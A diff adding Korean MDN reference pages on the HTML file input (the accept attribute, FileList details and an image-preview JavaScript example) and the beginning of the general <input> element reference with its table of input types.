+<p><strong>참고</strong>: 이 예제는 GitHub에서도 볼 수 있습니다. <a href="https://github.com/mdn/learning-area/blob/master/html/forms/file-examples/simple-file.html">소스 코드</a>와 <a href="https://mdn.github.io/learning-area/html/forms/file-examples/simple-file.html">라이브 예제</a>를 확인하세요.</p>
+</div>
+
+<p>사용자의 장치와 운영체제에 상관없이, 파일 입력 칸은 사용자가 파일을 선택할 수 있도록 파일 선택 대화창을 여는 하나의 버튼을 제공합니다.</p>
+
+<p>예제 코드와 같이 {{htmlattrxref("multiple", "input/file")}} 특성을 지정한 경우 파일 여러 개를 한 번에 선택할 수 있습니다. 사용자는 플랫폼이 허용하는 방법(<kbd>Shift</kbd>, <kbd>Ctrl</kbd> 누르기 등)을 통해 파일 선택 창에서 두 개 이상의 파일을 선택합니다. <code>&lt;input&gt;</code> 하나에 파일 하나씩만 선택을 허용하고 싶은 경우 <code>multiple</code> 특성을 제거하세요.</p>
+
+<h3 id="선택한_파일의_정보_가져오기">선택한 파일의 정보 가져오기</h3>
+
+<p>요소의 {{domxref("HTMLInputElement.files")}} 속성은 선택한 파일({{domxref("File")}}) 목록을 {{domxref("FileList")}} 객체로 반환합니다. <code>FileList</code>는 배열처럼 행동하므로, <code>length</code> 속성을 사용해 현재 선택한 파일의 수를 알 수 있습니다.</p>
+
+<p>각각의 <code>File</code> 객체는 다음과 같은 정보를 가지고 있습니다.</p>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>파일 이름.</dd>
+ <dt><code>lastModified</code></dt>
+ <dd>파일을 마지막으로 수정한 시각을 나타내는 숫자. UNIX 표준시(1970년 1월 1일 자정)으로부터 지난 시간을 밀리초 단위로 나타낸 값입니다.</dd>
+ <dt><code>lastModifiedDate</code> {{deprecated_inline}}</dt>
+ <dd>파일을 마지막으로 수정한 시각을 나타내는 {{jsxref("Date")}} 객체. 더 이상 사용하지 않아야 합니다. <code>lastModified</code>를 대신 사용하세요.</dd>
+ <dt><code>size</code></dt>
+ <dd>파일의 크기를 바이트 단위로 나타낸 값.</dd>
+ <dt><code>type</code></dt>
+ <dd>파일의 <a href="/ko/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME 유형</a>.</dd>
+ <dt><code>webkitRelativePath</code> {{non-standard_inline}}</dt>
+ <dd>{{htmlattrxref("webkitdirectory", "input/file")}} 특성을 사용한 경우, 기준 디렉토리에 대한 파일의 상대적인 경로. 비표준 특성이므로 사용에 주의가 필요합니다.</dd>
+</dl>
+
+<div class="hidden note">
+<p><strong>Note</strong>: You can set as well as get the value of <code>HTMLInputElement.files</code> in all modern browsers; this was most recently added to Firefox, in version 57 (see {{bug(1384030)}}).</p>
+</div>
+
+<h3 id="가능한_파일_유형_제한하기">가능한 파일 유형 제한하기</h3>
+
+<p>종종, 사용자가 아무 파일이나 선택하지 못하도록 제한하고, 받을 수 있는 파일의 유형을 정해두고 싶을 때가 있습니다. 예를 들어, 프로필 사진을 받는 입력 칸의 경우, {{glossary("JPEG")}}, {{glossary("PNG")}}처럼 웹 호환 가능한 이미지 형식을 선택하도록 해야 할 것입니다.</p>
+
+<p>허용하는 파일 유형은 {{htmlattrxref("accept","input/file")}} 특성을 사용해 지정할 수 있으며, 허용할 파일 확장자나 MIME 유형을 쉼표로 구분한 값을 제공해야 합니다. 다음은 몇 가지 예시입니다.</p>
+
+<ul>
+ <li><code>accept="image/png"</code> or <code>accept=".png"</code> — PNG 파일을 허용합니다.</li>
+ <li><code>accept="image/png, image/jpeg"</code> 또는 <code>accept=".png, .jpg, .jpeg"</code> — PNG와 JPEG를 허용합니다.</li>
+ <li><code>accept="image/*"</code> — <code>image/*</code> MIME 유형을 가진 모든 파일을 허용합니다. 많은 모바일 기기에서는, 이 값을 지정할 경우 사용자가 카메라로 사진을 찍을 수 있도록 설정합니다.</li>
+ <li><code>accept=".doc,.docx,.xml,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document"</code> — MS Word 문서처럼 보이는 파일을 모두 허용합니다.</li>
+</ul>
+
+<p>보다 완전한 예제 코드를 보겠습니다.</p>
+
+<pre class="brush: html notranslate">&lt;form method="post" enctype="multipart/form-data"&gt;
+ &lt;div&gt;
+ &lt;label for="profile_pic"&gt;Choose file to upload&lt;/label&gt;
+ &lt;input type="file" id="profile_pic" name="profile_pic"
+ accept=".jpg, .jpeg, .png"&gt;
+ &lt;/div&gt;
+ &lt;div&gt;
+ &lt;button&gt;Submit&lt;/button&gt;
+ &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css notranslate">div {
+ margin-bottom: 10px;
+}</pre>
+</div>
+
+<p>위 코드는 이전 예제와 비슷하게 보이는 결과를 냅니다.</p>
+
+<p>{{EmbedLiveSample('가능한_파일_유형_제한하기', 650, 60)}}</p>
+
+<div class="note">
+<p><strong>참고</strong>: GitHub에서도 볼 수 있습니다. <a href="https://github.com/mdn/learning-area/blob/master/html/forms/file-examples/file-with-accept.html">소스 코드</a>, <a href="https://mdn.github.io/learning-area/html/forms/file-examples/file-with-accept.html">라이브 실행 결과</a>.</p>
+</div>
+
+<p>외형은 유사해 보일지라도, 이번 예제에서 파일을 선택하려고 한다면 <code>accept</code>에 지정한 파일 유형만 선택 가능함을 확인할 수 있습니다. (정확한 동작은 브라우저와 운영체제에 따라 다를 수 있습니다)</p>
+
+<p><img alt="Screenshot of a macOS file picker dialog. Files other than JPEG are grayed-out and unselectable." src="https://mdn.mozillademos.org/files/15183/file-chooser.png" style="margin: 0 auto;"></p>
+
+<p><code>accept</code> 특성은 선택한 파일 유형을 검증하지는 않으며, 단순히 브라우저가 사용자를 올바른 파일 유형으로 유도하도록 힌트를 제공할 뿐입니다. (대부분의 경우) 사용자가 파일 선택 창의 옵션을 설정해 <code>accept</code>를 덮어쓰고 자신이 원하는 아무 파일이나 선택할 수 있으므로, 파일 입력 칸에 잘못된 유형의 파일이 올 수 있습니다.</p>
+
+<p>그러므로, 반드시 적절한 서버 사이드 유효성 검증을 통해 <code>accept</code> 특성을 보조해야 합니다.</p>
+
+<h3 id="참고">참고</h3>
+
+<ol>
+ <li>
+ <p>파일 입력 칸의 값을 스크립트에서 설정할 수는 없습니다. 따라서 다음 코드는 아무런 효과도 내지 않습니다.</p>
+
+ <pre class="brush: js notranslate">const input = document.querySelector("input[type=file]");
+input.value = "foo";
+</pre>
+ </li>
+ <li>
+ <p><code>&lt;input type="file"&gt;</code>로 선택한 원본 파일의 실제 경로는 명확한 보안상 문제로 인해 알 수 없습니다. 대신 앞에 <code>C:\fakepath\</code> 를 붙인 파일 이름을 경로로 보여줍니다. 하필 이런 모습이 된 것에는 역사적인 이유가 있지만 이 동작은 모든 최신 브라우저에서 지원하고 있으며, 사실 <a href="https://html.spec.whatwg.org/multipage/forms.html#fakepath-srsly">명세에도 포함</a>되어 있습니다.</p>
+ </li>
+</ol>
+
+<h2 id="예제">예제</h2>
+
+<p>이번 예제에서는 좀 더 발전된 파일 선책 창을 만들어 보겠습니다. <code>HTMLInputElement.files</code> 속성에서 알 수 있는 정보도 활용하면서, 몇 가지 재밌는 활용법도 보여드리겠습니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: 전체 소스 코드는 GitHub에 있습니다. <a href="https://github.com/mdn/learning-area/blob/master/html/forms/file-examples/file-example.html">file-example.html</a> (<a href="https://mdn.github.io/learning-area/html/forms/file-examples/file-example.html">라이브 실행 결과</a>). 주 목적이 JavaScript이므로 CSS는 따로 설명하지 않겠습니다.</p>
+</div>
+
+<p>우선 HTML을 살펴보겠습니다.</p>
+
+<pre class="brush: html notranslate">&lt;form method="post" enctype="multipart/form-data"&gt;
+ &lt;div&gt;
+ &lt;label for="image_uploads"&gt;Choose images to upload (PNG, JPG)&lt;/label&gt;
+ &lt;input type="file" id="image_uploads" name="image_uploads" accept=".jpg, .jpeg, .png" multiple&gt;
+ &lt;/div&gt;
+ &lt;div class="preview"&gt;
+ &lt;p&gt;No files currently selected for upload&lt;/p&gt;
+ &lt;/div&gt;
+ &lt;div&gt;
+ &lt;button&gt;Submit&lt;/button&gt;
+ &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css notranslate">html {
+ font-family: sans-serif;
+}
+
+form {
+ width: 580px;
+ background: #ccc;
+ margin: 0 auto;
+ padding: 20px;
+ border: 1px solid black;
+}
+
+form ol {
+ padding-left: 0;
+}
+
+form li, div &gt; p {
+ background: #eee;
+ display: flex;
+ justify-content: space-between;
+ margin-bottom: 10px;
+ list-style-type: none;
+ border: 1px solid black;
+}
+
+form img {
+ height: 64px;
+ order: 1;
+}
+
+form p {
+ line-height: 32px;
+ padding-left: 10px;
+}
+
+form label, form button {
+ background-color: #7F9CCB;
+ padding: 5px 10px;
+ border-radius: 5px;
+ border: 1px ridge black;
+ font-size: 0.8rem;
+ height: auto;
+}
+
+form label:hover, form button:hover {
+ background-color: #2D5BA3;
+ color: white;
+}
+
+form label:active, form button:active {
+ background-color: #0D3F8F;
+ color: white;
+}</pre>
+</div>
+
+<p>지금까지 봤던 것과 거의 같으므로 설명할 부분은 없겠습니다.</p>
+
+<p>이제 JavaScript 차례입니다.</p>
+
+<p>우선 양식의 파일 입력 칸과, <code>.preview</code> 클래스를 가진 {{htmlelement("div")}} 요소에 대한 참조를 가져옵니다. 그 후, {{htmlelement("input")}} 요소를 숨겨버립니다. 파일 입력 칸은 보통 못생겼고, 스타일을 적용하기도 어려우며 브라우저마다 디자인이 다르기 때문입니다. <code>&lt;input&gt;</code>은 연결된 {{htmlelement("label")}}을 클릭해도 활성화할 수 있으므로, 시각적으로 <code>&lt;input&gt;</code>을 숨긴 후 레이블에 버튼처럼 스타일을 적용해서, 파일을 업로드하고 싶은 경우 레이블을 누르라는 것을 알려주는 편이 낫습니다.</p>
+
+<pre class="brush: js notranslate">var input = document.querySelector('input');
+var preview = document.querySelector('.preview');
+
+input.style.opacity = 0;</pre>
+
+<div class="note">
+<p><strong>참고:</strong> {{cssxref("visibility", "visibility: hidden")}}, {{cssxref("display", "display: none")}}로 숨길 경우 접근성 보조 기술이 파일 입력 칸을 상호작용 할 수 없는 상태라고 인식하기 때문에 {{cssxref("opacity")}}를 대신 사용합니다.</p>
+</div>
+
+<p>그 다음으로는 입력 칸에 <a href="/ko/docs/Web/API/EventTarget/addEventListener">이벤트 수신기</a>를 부착해 그 값이 달라지는지(예제의 경우, 파일을 선택할 때) 지켜봅니다. 이벤트 수신기는 밑에서 만들 <code>updateImageDisplay()</code> 함수를 호출하게 됩니다.</p>
+
+<pre class="brush: js notranslate">input.addEventListener('change', updateImageDisplay);</pre>
+
+<p><code>updateImageDisplay()</code> 함수를 호출하면 다음 작업을 수행하게 됩니다.</p>
+
+<ul>
+ <li>{{jsxref("Statements/while", "while")}} 반복문을 사용해 <code>&lt;div&gt;</code>에 존재하는 이전 파일의 미리보기를 제거합니다.</li>
+ <li>선택한 모든 파일의 정보를 들고 있는 {{domxref("FileList")}} 객체를 가져온 후 <code>curFiles</code> 변수에 저장합니다.</li>
+ <li><code>curFiles.length</code>가 0과 같은지 검사해 아무런 파일도 선택하지 않았는지 검사합니다. 그렇다면, <code>&lt;div&gt;</code>에 아무런 파일도 선택하지 않았다는 메시지를 출력합니다.</li>
+ <li>반면, 파일을 선택한 경우라면, 각각의 파일을 순회하며 각각의 정보를 미리보기 <code>&lt;div&gt;</code>에 출력합니다. 참고할 점:</li>
+ <li>뒤에서 작성할 <code>validFileType()</code> 함수를 사용해 순회 중인 파일이 올바른 유형, 즉 <code>accept</code> 특성에 속한 파일인지 판별합니다.</li>
+ <li>올바른 파일이라면,
+ <ul>
+ <li><code>&lt;div&gt;</code> 안의 목록에 해당 파일의 이름과 크기를 항목으로 추가합니다. 이름은 <code>file.name</code>과 <code>file.size</code>로 가져옵니다. 또 다른 함수인 <code>returnFileSize()</code>는 파일 크기를 보기 좋게 바이트/KB/MB로 서식해 출력합니다. (브라우저는 바이트 크기로만 알려줍니다)</li>
+ <li>{{domxref("URL.createObjectURL", "URL.createObjectURL(curFiles[i])")}}를 호출해 이미지 미리보기 썸네일을 생성하고, 새로 만든 {{htmlelement("img")}} 태그의 {{htmlattrxref("src", "img")}}에 지정한 후, 이미지도 목록의 항목에 추가합니다.</li>
+ </ul>
+ </li>
+ <li>파일 유형이 유효하지 않은 경우 사용자에게 다른 파일을 선택해야 한다고 알려주는 메시지를 표시합니다.</li>
+</ul>
+
+<pre class="brush: js notranslate">function updateImageDisplay() {
+ while(preview.firstChild) {
+ preview.removeChild(preview.firstChild);
+ }
+
+ const curFiles = input.files;
+ if(curFiles.length === 0) {
+ const para = document.createElement('p');
+ para.textContent = 'No files currently selected for upload';
+ preview.appendChild(para);
+ } else {
+ const list = document.createElement('ol');
+ preview.appendChild(list);
+
+    for(const file of curFiles) {
+ const listItem = document.createElement('li');
+ const para = document.createElement('p');
+ if(validFileType(file)) {
+ para.textContent = `File name ${file.name}, file size ${returnFileSize(file.size)}.`;
+ const image = document.createElement('img');
+ image.src = URL.createObjectURL(file);
+
+ listItem.appendChild(image);
+ listItem.appendChild(para);
+ } else {
+ para.textContent = `File name ${file.name}: Not a valid file type. Update your selection.`;
+ listItem.appendChild(para);
+ }
+
+ list.appendChild(listItem);
+ }
+ }
+}</pre>
+
+<p><code>validFileType()</code> 함수는 매개변수로 {{domxref("File")}} 객체를 받아서, 그 파일의 <code>type</code>이 <code>fileTypes</code>의 아무 값과 동일한지 판별합니다. {{jsxref("Array.prototype.includes()")}}를 사용하여 type과 일치하는 값이 존재하면 <code>true</code>, 아니면 <code>false</code>를 반환합니다.</p>
+
+<pre class="brush: js notranslate">// https://developer.mozilla.org/en-US/docs/Web/Media/Formats/Image_types
+const fileTypes = [
+ "image/apng",
+  "image/bmp",
+  "image/gif",
+  "image/jpeg",
+  "image/pjpeg",
+  "image/png",
+  "image/svg+xml",
+  "image/tiff",
+  "image/webp",
+  "image/x-icon"
+];
+
+function validFileType(file) {
+ return fileTypes.includes(file.type);
+}</pre>
+
+<p><code>returnFileSize()</code> 함수는 숫자(현재 파일의 <code>size</code> 속성에서 가져온, 파일의 바이트 크기)를 받은 후, 읽기 좋게 바이트/KB/MB 단위로 서식을 적용합니다.</p>
+
+<pre class="brush: js notranslate">function returnFileSize(number) {
+ if(number &lt; 1024) {
+ return number + 'bytes';
+ } else if(number &gt;= 1024 &amp;&amp; number &lt; 1048576) {
+ return (number/1024).toFixed(1) + 'KB';
+ } else if(number &gt;= 1048576) {
+ return (number/1048576).toFixed(1) + 'MB';
+ }
+}</pre>
+
+<p>결과는 다음과 같습니다. 한번 직접 파일을 선택해보세요.</p>
+
+<p>{{EmbedLiveSample('예제', '100%', 200)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'input.html#file-upload-state-(type=file)', '&lt;input type="file"&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', 'sec-forms.html#file-upload-state-typefile', '&lt;input type="file"&gt;')}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML Media Capture', '#the-capture-attribute','capture attribute')}}</td>
+ <td>{{Spec2('HTML Media Capture')}}</td>
+ <td>initial <code>capture</code> attribute</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.input.input-file")}}</p>
+
+<h2 id="같이_보_기">같이 보 기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/File/Using_files_from_web_applications">웹 애플리케이션에서 파일 사용하기</a> — <code>&lt;input type="file"&gt;</code>과 File API에 대한 유용한 예제를 더 가지고 있습니다.</li>
+ <li><a href="/ko/docs/Learn/Forms/Property_compatibility_table_for_form_controls">CSS 속성 호환성</a></li>
+</ul>
diff --git a/files/ko/web/html/element/input/index.html b/files/ko/web/html/element/input/index.html
new file mode 100644
index 0000000000..8ff435e12d
--- /dev/null
+++ b/files/ko/web/html/element/input/index.html
@@ -0,0 +1,865 @@
+---
+title: '<input>: 입력 요소'
+slug: Web/HTML/Element/Input
+tags:
+ - Element
+ - Forms
+ - HTML
+ - HTML forms
+ - HTML input tag
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/input
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;input&gt;</code> 요소</strong>는 웹 기반 양식에서 사용자의 데이터를 받을 수 있는 대화형 컨트롤을 생성합니다.</span> {{glossary("user agent", "사용자 에이전트")}}에 따라서 다양한 종류의 입력 데이터 유형과 컨트롤 위젯이 존재합니다. 입력 유형과 특성의 다양한 조합 가능성으로 인해, <code>&lt;input&gt;</code> 요소는 HTML에서 제일 강력하고 복잡한 요소 중 하나입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-text.html", "tabbed-shorter")}}</div>
+
+
+
+<h2 id="&lt;input>_유형"><code>&lt;input&gt;</code> 유형</h2>
+
+<p><code>&lt;input&gt;</code> 요소의 동작 방식은 {{htmlattrxref("type")}} 특성에 따라 현격히 달라지므로, 각각의 유형은 별도의 참고 문서에서 더 자세히 확인할 수 있습니다. 특성을 지정하지 않은 경우, 기본값은 <code>text</code>입니다.</p>
+
+<p>가능한 유형은 다음과 같습니다.</p>
+
+<table class="standard-table">
+ <colgroup>
+ <col>
+ <col style="width: 50%;">
+ <col>
+ </colgroup>
+ <thead>
+ <tr>
+ <th>유형</th>
+ <th>설명</th>
+ <th>기본 예제</th>
+ <th>Spec</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{HTMLElement("input/button", "button")}}</td>
+ <td>기본 행동을 가지지 않으며 {{htmlattrxref("value", "input")}}을 레이블로 사용하는 푸시 버튼.</td>
+ <td id="examplebutton">
+ <pre class="brush: html hidden notranslate">
+&lt;input type="button" name="button" /&gt;</pre>
+ {{EmbedLiveSample("examplebutton",200,55,"","", "nobutton")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{HTMLElement("input/checkbox", "checkbox")}}</td>
+ <td>단일 값을 선택하거나 선택 해제할 수 있는 체크박스.</td>
+ <td id="examplecheckbox">
+ <pre class="brush: html hidden notranslate">
+&lt;input type="checkbox" name="checkbox"/&gt;</pre>
+ {{EmbedLiveSample("examplecheckbox",200,55,"","", "nobutton")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{HTMLElement("input/color", "color")}}</td>
+ <td>색을 지정할 수 있는 컨트롤. 브라우저가 지원하는 경우, 활성화 시 색상 선택기를 열어줍니다.</td>
+ <td id="examplecolor">
+ <pre class="brush: html hidden notranslate">
+&lt;input type="color" name="color"/&gt;</pre>
+ {{EmbedLiveSample("examplecolor",200,55,"","", "nobutton")}}</td>
+ <td>{{HTMLVersionInline("5")}}</td>
+ </tr>
+ <tr>
+ <td>{{HTMLElement("input/date", "date")}}</td>
+ <td>날짜(연월일, 시간 없음)를 지정할 수 있는 컨트롤. 브라우저가 지원하는 경우, 활성화 시 날짜를 선택할 수 있는 달력 등을 열어줍니다.</td>
+ <td id="exampledate">
+ <pre class="brush: html hidden notranslate">
+&lt;input type="date" name="date"/&gt;</pre>
+ {{EmbedLiveSample("exampledate",200,55,"","", "nobutton")}}</td>
+ <td>{{HTMLVersionInline("5")}}</td>
+ </tr>
+ <tr>
+ <td>{{HTMLElement("input/datetime-local", "datetime-local")}}</td>
+ <td>날짜와 시간을 지정할 수 있는 컨트롤. 시간대는 지정할 수 없습니다. 브라우저가 지원하는 경우, 활성화 시 날짜를 선택할 수 있는 달력과, 시계 등을 열어줍니다.</td>
+ <td id="exampledtl">
+ <pre class="brush: html hidden notranslate">
+&lt;input type="datetime-local" name="datetime-local"/&gt;</pre>
+ {{EmbedLiveSample("exampledtl",200,55,"","", "nobutton")}}</td>
+ <td>{{HTMLVersionInline("5")}}</td>
+ </tr>
+ <tr>
+ <td>{{HTMLElement("input/email", "email")}}</td>
+ <td>이메일 주소를 편집할 수 있는 필드. 텍스트 입력 필드처럼 보이지만 유효성 검증 매개변수가 존재하며, 브라우저와 장치가 동적 키보드를 지원하는 경우 이메일에 적합한 키보드를 보여줍니다.</td>
+ <td id="exampleemail">
+ <pre class="brush: html hidden notranslate">
+&lt;input type="email" name="email"/&gt;</pre>
+ {{EmbedLiveSample("exampleemail",200,55,"","", "nobutton")}}</td>
+ <td>{{HTMLVersionInline("5")}}</td>
+ </tr>
+ <tr>
+ <td>{{HTMLElement("input/file", "file")}}</td>
+ <td>파일을 지정할 수 있는 컨트롤. {{htmlattrxref("accept", "input")}} 특성을 사용하면 허용하는 파일 유형을 지정할 수 있습니다.</td>
+ <td id="examplefile">
+ <pre class="brush: html hidden notranslate">
+&lt;input type="file" accept="image/*, text/*" name="file"/&gt;</pre>
+ {{EmbedLiveSample("examplefile",'100%',55,"","", "nobutton")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{HTMLElement("input/hidden", "hidden")}}</td>
+ <td>보이지 않지만 값은 서버로 전송하는 컨트롤. 오른쪽 칸에 예제가 있지만 숨겨져서 안보이네요!</td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{HTMLElement("input/image", "image")}}</td>
+ <td><code>src</code> 특성에 지정한 이미지로 나타나는 시각적 제출 버튼. 이미지의 {{anch('src')}}를 누락한 경우 {{anch('alt')}} 특성의 텍스트를 대신 보여줍니다.</td>
+ <td id="exampleimage">
+ <pre class="brush: html hidden notranslate">
+&lt;input type="image" name="image" src="" alt="image input"/&gt;</pre>
+ {{EmbedLiveSample("exampleimage",200,55,"","", "nobutton")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{HTMLElement("input/month", "month")}}</td>
+ <td>연과 월을 지정할 수 있는 컨트롤. 시간대는 지정할 수 없습니다.</td>
+ <td id="examplemonth">
+ <pre class="brush: html hidden notranslate">
+&lt;input type="month" name="month"/&gt;</pre>
+ {{EmbedLiveSample("examplemonth",200,55,"","", "nobutton")}}</td>
+ <td>{{HTMLVersionInline("5")}}</td>
+ </tr>
+ <tr>
+ <td>{{HTMLElement("input/number", "number")}}</td>
+ <td>
+ <p>숫자를 입력하기 위한 컨트롤. 스피너를 표시하고 지원되는 기본 확인을 추가합니다. 몇몇 장치에서는 동적 키패드들과 숫자 키패드를 표시합니다.</p>
+ </td>
+ <td id="examplenumber">
+ <pre class="brush: html hidden notranslate">
+&lt;input type="number" name="number"/&gt;</pre>
+ {{EmbedLiveSample("examplenumber",200,55,"","", "nobutton")}}</td>
+ <td>{{HTMLVersionInline("5")}}</td>
+ </tr>
+ <tr>
+ <td>{{HTMLElement("input/password", "password")}}</td>
+ <td>
+ <p>값이 가려진 한줄 텍스트 필드. 사이트가 안전하지 않으면 사용자에게 경고합니다.</p>
+ </td>
+ <td id="examplepassword">
+ <pre class="brush: html hidden notranslate">
+&lt;input type="password" name="password"/&gt;</pre>
+ {{EmbedLiveSample("examplepassword",200,55,"","", "nobutton")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{HTMLElement("input/radio", "radio")}}</td>
+ <td>
+ <p>같은 {{anch('name')}} 값을 가진 여러개의 선택중에서 하나의 값을 선택하게 하는 라디오 버튼입니다.</p>
+ </td>
+ <td id="exampleradio">
+ <pre class="brush: html hidden notranslate">
+&lt;input type="radio" name="radio"/&gt;</pre>
+ {{EmbedLiveSample("exampleradio",200,55,"","", "nobutton")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{HTMLElement("input/range", "range")}}</td>
+ <td>
+ <p>값이 가려진 숫자를 입력하는 컨트롤. 디폴트 값이 중간값인 범위 위젯으로 표시합니다. 접속사 {{anch('min')}} 와 {{anch('max')}} 사이에 사용되며 수용가능한 값의 범위를 정의합니다.</p>
+ </td>
+ <td id="examplerange">
+ <pre class="brush: html hidden notranslate">
+&lt;input type="range" name="range" min="0" max="25"/&gt;</pre>
+ {{EmbedLiveSample("examplerange",200,55,"","", "nobutton")}}</td>
+ <td>{{HTMLVersionInline("5")}}</td>
+ </tr>
+ <tr>
+ <td>{{HTMLElement("input/reset", "reset")}}</td>
+ <td>양식의 내용을 디폴트값(기본값)으로 초기화하는 버튼. 권장되지 않습니다.</td>
+ <td id="examplereset">
+ <pre class="brush: html hidden notranslate">
+&lt;input type="reset" name="reset"/&gt;</pre>
+ {{EmbedLiveSample("examplereset",200,55,"","", "nobutton")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{HTMLElement("input/search", "search")}}</td>
+ <td>
+ <p>검색문자열을 입력하는 한줄 텍스트 필드. 줄바꿈 문자는 입력값에서 자동으로 제거됩니다. 지원 브라우저에서 필드를 클리어하기 위해 사용되는 삭제 아이콘이 포함됩니다. 동적 키패드들이 있는 몇몇 장치에서 엔터키 대신에 검색 아이콘을 표시합니다.</p>
+ </td>
+ <td id="examplesearch">
+ <pre class="brush: html hidden notranslate">
+&lt;input type="search" name="search"/&gt;</pre>
+ {{EmbedLiveSample("examplesearch",200,55,"","", "nobutton")}}</td>
+ <td>{{HTMLVersionInline("5")}}</td>
+ </tr>
+ <tr>
+ <td>{{HTMLElement("input/submit", "submit")}}</td>
+ <td>양식을 전송하는 버튼</td>
+ <td id="examplesubmit">
+ <pre class="brush: html hidden notranslate">
+&lt;input type="submit" name="submit"/&gt;</pre>
+ {{EmbedLiveSample("examplesubmit",200,55,"","", "nobutton")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{HTMLElement("input/tel", "tel")}}</td>
+ <td>전화번호를 입력하는 컨트롤. 몇몇 장치에서 동적 키패드들과 전화번호 입력기를 표시한다.</td>
+ <td id="exampletel">
+ <pre class="brush: html hidden notranslate">
+&lt;input type="tel" name="tel"/&gt;</pre>
+ {{EmbedLiveSample("exampletel",200,55,"","", "nobutton")}}</td>
+ <td>{{HTMLVersionInline("5")}}</td>
+ </tr>
+ <tr>
+ <td>{{HTMLElement("input/text", "text")}}</td>
+ <td>
+ <p>디폴트 값. 한줄의 텍스트 필드입니다. 새줄 문자는 입력값으로부터 자동으로 제거됩니다.</p>
+ </td>
+ <td id="exampletext">
+ <pre class="brush: html hidden notranslate">
+&lt;input type="text" name="text"/&gt;</pre>
+ {{EmbedLiveSample("exampletext",200,55,"","", "nobutton")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{HTMLElement("input/time", "time")}}</td>
+ <td>시간대가 없는 시간값을 입력하는 콘트롤</td>
+ <td id="exampletime">
+ <pre class="brush: html hidden notranslate">
+&lt;input type="time" name="time"/&gt;</pre>
+ {{EmbedLiveSample("exampletime",200,55,"","", "nobutton")}}</td>
+ <td>{{HTMLVersionInline("5")}}</td>
+ </tr>
+ <tr>
+ <td>{{HTMLElement("input/url", "url")}}</td>
+ <td>URL을 입력하는 필드. 텍스트 입력처럼 보이지만, 검증 매개변수가 있습니다. 동적 키보드들을 지원하는 브라우저와 장치들에 관련된 키보드가 있습니다.</td>
+ <td id="exampleurl">
+ <pre class="brush: html hidden notranslate">
+&lt;input type="url" name="url"/&gt;</pre>
+ {{EmbedLiveSample("exampleurl",200,55,"","", "nobutton")}}</td>
+ <td>{{HTMLVersionInline("5")}}</td>
+ </tr>
+ <tr>
+ <td>{{HTMLElement("input/week", "week")}}</td>
+ <td>시간대가 없는 주-년 값과 주의 값을 구성하는 날짜를 입력하는 컨트롤입니다.</td>
+ <td id="exampleweek">
+ <pre class="brush: html hidden notranslate">
+&lt;input type="week" name="week"/&gt;</pre>
+ {{EmbedLiveSample("exampleweek",200,55,"","", "nobutton")}}</td>
+ <td>{{HTMLVersionInline("5")}}</td>
+ </tr>
+ <tr>
+ <th colspan="4">퇴화한 값</th>
+ </tr>
+ <tr>
+ <td>{{HTMLElement("input/datetime", "datetime")}}</td>
+ <td>
+ <p>{{deprecated_inline}} {{obsolete_inline}} UTC 시간대에 기반한 날짜와 시간(시,분,초 그리고 초의 분수)을 입력하는 콘트롤입니다.</p>
+ </td>
+ <td id="exampledatetime">
+ <pre class="brush: html hidden notranslate">
+&lt;input type="datetime" name="datetime"/&gt;</pre>
+ {{EmbedLiveSample("exampledatetime",200,75,"","", "nobutton")}}</td>
+ <td>{{HTMLVersionInline("5")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="속성">속성</h2>
+
+<p><code>&lt;input&gt;</code> 요소가 강력한 이유는 바로 다양한 속성 때문입니다. 그 중에서도, 위의 표에서 확인할 수 있는 {{htmlattrxref("type", "input")}} 속성이 제일 중요합니다. 모든 <code>&lt;input&gt;</code> 요소는 유형에 상관하지 않고 {{domxref("HTMLInputElement")}} 인터페이스에 기반하므로, 기술적으로는 모든 <code>&lt;input&gt;</code>이 동일한 속성을 가집니다. 그러나 사실 대부분의 속성은 일부 유형에서만 효과를 보입니다. 게다가, 어떤 속성은 유형별로 그 영향이 달라집니다.</p>
+
